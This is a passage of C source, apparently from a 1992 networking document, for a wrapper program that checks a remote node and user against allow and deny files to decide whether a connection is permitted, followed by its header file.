   #define FALSE       0
   #define TRUE        1

   /* -- Prototypes */
   int                CheckExplicitRule( char *, char *);
   int                ExitHandler(int, char *);
   char *              Salloc(unsigned int);
   char *              SnarfArgument(char *);

   int
   main (argc, argv)
   int                argc;
   char *  argv[];
   {
    char *       localNodeName;
    char *       localTime;
    char *       localUser;
    char *       remoteNodeName;
    char *       remoteUser;
    int     status = WUnknown;

    /* Get and display parameters */

    localNodeName= SnarfArgument(argv[1]);
    localTime         = SnarfArgument(argv[2]);
    localUser         = SnarfArgument(argv[3]);
    remoteNodeName    = SnarfArgument(argv[4]);
    remoteUser        = SnarfArgument(argv[5]);
     if ((localNodeName == (char *)0)      ||
         (localTime == (char *)0)          ||
         (localUser == (char *)0)          ||
         (remoteNodeName == (char *)0)     ||
         (remoteUser == (char *)0)
        ) {
          fprintf( stderr, "Error snarfing check parameters!\n");
          exit( ExitHandler( WDefault, "Error snarfing check
                          parameters!"));
     }

    /* Now evaluate whether to allow the connection */

           /* -- We will only test based on source node and user.
            *    We can check other details if required at a later stage.
            *
            *     Note that the order in which these rules are checked is
            *     important. Below, we check in the order of the most
            *     specific rule to the most general. Once a connection
            *     is found to be explicitly allowed or denied
            *     no further rules are checked.
            */

     status = CheckExplicitRule( remoteNodeName, remoteUser);
     if (status != WUnknown)
       exit( ExitHandler( status, "On node::user combination"));

     status = CheckExplicitRule( remoteNodeName, "*");
     if (status != WUnknown)
       exit( ExitHandler( status, "On node::* combination"));

     status = CheckExplicitRule( "*", "*");
     if (status != WUnknown)
       exit( ExitHandler( status, "On *::* combination"));

          /* No applicable rules were found, or there were a clash of
           * rules, so use the default.
           */
     fprintf(stderr, "Warning! Unable to evaluate connection status!\n");
     exit ( ExitHandler( WDefault, "Default action taken"));
   }     /* end main */

   /*
    * CheckExplicitRule
    *
    *  Use the remoteNodeName and remoteUser to return a value
    *  describing whether the proposed connection is explicitly allowed
    *  or denied. The returned value can be one of three values:
    *
    *      WAllowed: explicitly allow the connection
    *      WDenied:  explicitly deny the connection
    *      WUnknown: couldn't evaluate on supplied information
    *
    *       Allowed configurations are set out in ALLOW_FILE.
    *       Disallowed configurations are set out in DENY_FILE.
    *
    *  If the record is found in both files, or the record can't be
    *  found in either file, return WUnknown. Otherwise, return
    *  the result explicitly described by the files.
    *
    */
   int
   CheckExplicitRule( remoteNodeName, remoteUser)
   char *  remoteNodeName;
   char *  remoteUser;
   {
        char          inbuf[132];     /* Should be heaps */
        char *        searchKey;
        BOOLEAN       allow = WUnknown;
        BOOLEAN       foundAllow = FALSE;
        BOOLEAN       foundDeny = FALSE;
        FILE *        fp;

     if ((searchKey = Salloc(strlen(remoteNodeName) + 3 +
                        strlen(remoteUser))) == (char *)0)
          return( WUnknown);
        searchKey = strcpy(searchKey, remoteNodeName);
        searchKey = strcat(searchKey, "::");
        searchKey = strcat(searchKey, remoteUser);

   /* See if there is a matching record in the allow file */
   if ((fp = fopen( ALLOW_FILE, "r")) == (FILE *)NULL) {
     fprintf(stderr, "Error! Cannot open wrapper AllowFile! \n");
     return( WUnknown);
   }
   else {
     /* Search file for matching record */
     while ((foundAllow == FALSE) && (fgets(inbuf, 132, fp) != (char *)NULL))
       if (strncmp(searchKey, inbuf, strlen(searchKey)) == 0)
         foundAllow = TRUE;
     fclose(fp);
     }

   /* Now search deny file as well */
   if ((fp = fopen( DENY_FILE, "r")) == (FILE *)NULL) {
     fprintf(stderr, "Error! Cannot open wrapper DenyFile! \n");
     return( WUnknown);
   }
   else {
     /* Search file for matching record */
     while ((foundDeny == FALSE) && (fgets(inbuf, 132, fp) != (char *)NULL))
       if (strncmp(searchKey, inbuf, strlen(searchKey)) == 0)
         foundDeny = TRUE;
     fclose(fp);
     }

   /* If we get a strict decision, then return the result. If we
    * get two FALSEs or two TRUEs, then there is no decision.
    */
   if ((foundAllow == TRUE) && (foundDeny == FALSE))
     allow = WAllowed;
   if ((foundAllow == FALSE) && (foundDeny == TRUE))
     allow = WDenied;

     return( allow);

   }  /* end CheckExplicitRule */

   /*
    * ExitHandler
    *
    * Carry out any cleaning up required whilst exiting.
    *
    */
   int
   ExitHandler( exitCode, diagnostic)
   int             exitCode;
   char *          diagnostic;
   {

   #ifdef DEBUG
     switch (exitCode) {
       case WAllowed:
       fprintf( stdout, "\nConnection allowed: ");
       fprintf( stdout, "%s.\n", diagnostic);
       break;
     case WDenied:
       fprintf( stdout, "\nConnection denied: ");
       fprintf( stdout, "%s.\n", diagnostic);
       break;
     case WUnknown:
       fprintf( stdout, "\nCan't figure out to allow connection or not: ");
       fprintf( stdout, "%s.\n", diagnostic);
       break;
     default:
       fprintf( stdout, "\nError. Unknown exit code: ");
       fprintf( stdout, "%s.\n", diagnostic);
       break;
     }
   #endif

    return( exitCode);
   } /* end ExitHandler */

   /*
    * Salloc
    *
    * Safe malloc
    *
    * See P321 "C Programming in a UNIX Environment"
    *            by Judy Kay and Bob Kummerfeld,
    *            Addison-Wesley, 1989.
    *
    */
   char *
   Salloc(size)
   unsigned int    size;
   {
       char * result;
       if ((result = malloc(size)) == (char *)0)
         fprintf(stderr, "Cannot malloc %d bytes.\n", size);
       return result;
   } /* end Salloc */

   /*
    * SnarfArgument
    *
    * Make a copy of arg string.
    *
    */
   char *
   SnarfArgument( arg)
   char *  arg;
   {
     char * result;

     if ((result = Salloc(strlen(arg)+1)) != (char *)0)
       result = strcpy(result, arg);
     return( result);
   } /* end SnarfArgument */

   The header file for this program would contain the following:

   /*
    * CheckFALRules.H
    *
    * Author: Rob McMillan, 1992
    *
    *  See comments in CheckFALRules.C.
    *
    * THE CONTENTS OF THIS FILE MUST MATCH THOSE IN THE WRAPPER COMMAND FILE!
    *
    */

   /* -- Define file paths */
   #define DEBUG
   #ifdef  DEBUG
   #define ALLOW_FILE  "{Allow File name here}"
   #define DENY_FILE   "{Deny File name here}"
   #else
   #define ALLOW_FILE  "local$wrap:{Allow File name here}"
   #define DENY_FILE   "local$wrap:{Deny File name here}"
   #endif

   /* -- Define exit values */
   #define WAllowed    0x10000001
   #define WDenied     0x10000002
   #define WUnknown    0x10000003
   #define WDefault    WDenied